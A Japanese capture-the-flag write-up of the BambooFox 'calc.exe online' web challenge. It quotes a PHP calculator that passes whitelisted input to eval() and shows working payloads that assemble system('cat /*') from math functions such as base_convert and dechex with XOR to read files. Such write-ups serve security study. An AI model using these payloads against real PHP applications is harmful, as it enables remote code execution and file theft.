BambooFox CTF writeup(only calc.exe online)
summary
- 1/16~1/18に行われたBambooFox CTFにチーム
sh -a ./chiku
として出場し、calc.exe onlineというWeb問を1つ通し、それ以外の問題については敗北しましたw - 1問だけですが、色々面白い問題だったのでwriteupを残します
calc.exe online
問題ページには入力フォームがあり、1+1
などを入力すると結果として2が返ってくる、ありふれた計算アプリが稼働しています。
?source
をURLにつけることでPHPのソースコードを読むことができたので、抜粋すると
<?php error_reporting(0); isset($_GET['source']) && die(highlight_file(__FILE__)); function is_safe($query) { $query = strtolower($query); preg_match_all("/([a-z_]+)/", $query, $words); $words = $words[0]; $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format']; $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],'; $accept_chars = str_split($accept_chars); $bad = ''; for ($i = 0; $i < count($words); $i++) { if (strlen($words[$i]) && array_search($words[$i], $good) === false) { $bad .= $words[$i] . " "; } } for ($i = 0; $i < strlen($query); $i++) { if (array_search($query[$i], $accept_chars) === false) { $bad .= $query[$i] . " "; } } return $bad; } function safe_eval($code) { if (strlen($code) > 1024) return "Expression too long."; $code = strtolower($code); $bad = is_safe($code); $res = ''; if (strlen(str_replace(' ', '', $bad))) $res = "I don't like this: " . $bad; else eval('$res=' . $code . ";"); return $res; } ?>
コードがやや長いですが、ポイントは以下の通りです。
- 数字や演算子以外にも文字列の入力も受け付けるが、preg_matchで捕まえた文字列(単語)は1つずつ
accept_chars
に含まれている文字か、ホワイトリストに含まれている単語かをチェックされる - 無事ホワイトリストとaccept_charsのチェックを抜ければevalの引数になり実行される
- accept_charに載っていないものがあれば
$bad
に入り"I don't like this: " . $bad;
というエラー文が返りevalは実行されない
よって、この問題はチェックを抜けてevalでsystem関数などを実行させてRCE、flagを読み出すことだとアタリをつけました。
RCE via PHP Math library
とはいえ、使える文字列はホワイトリストに入った単語だけなので、正直どうしようもありません。
ということで、ホワイトリストにある関数たちだけでRCEができないかと思いrce php math library
とググるとこんな記事がヒットしました
理解上述这些后,来分析下师傅最终的 payload: base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)asinhpi)) //base_convert(1751504350,10,36) ->system //base_convert(15941,10,36) -> cat //system('cat *')
どうやら、PHPの数学系の関数を使ってsystem関数などを合成することが可能のようです。 また、このRCEに必要な関数はホワイトリストに全て含まれているので問題なさそうです。
というわけでbase_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
をフォームに入力すると、確かにindex.phpがcatされました。(キャプチャなくてすみません)
その後、自力でsystem('ls /')
を作成するとルートディレクトリにflagのファイルが存在したので、そのままsystem('cat /*')
を作って実行するとflagが手に入りました↓
Final payload: base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(51)^asin^round).(dechex(8)^acos^sqrt))
Do you know this is a real world challenge? 本当にあった脆弱性、ということでしょうか。
eval系の関数をアプリで使うのは怖いですね、特にPHPでは...
また、この問題は面白いことに、前述した中国のRCEのページを使わず自力で前述したテクニックを発見しているチームが結構見受けられ、改めてCTFerのレベルの高さを思い知りました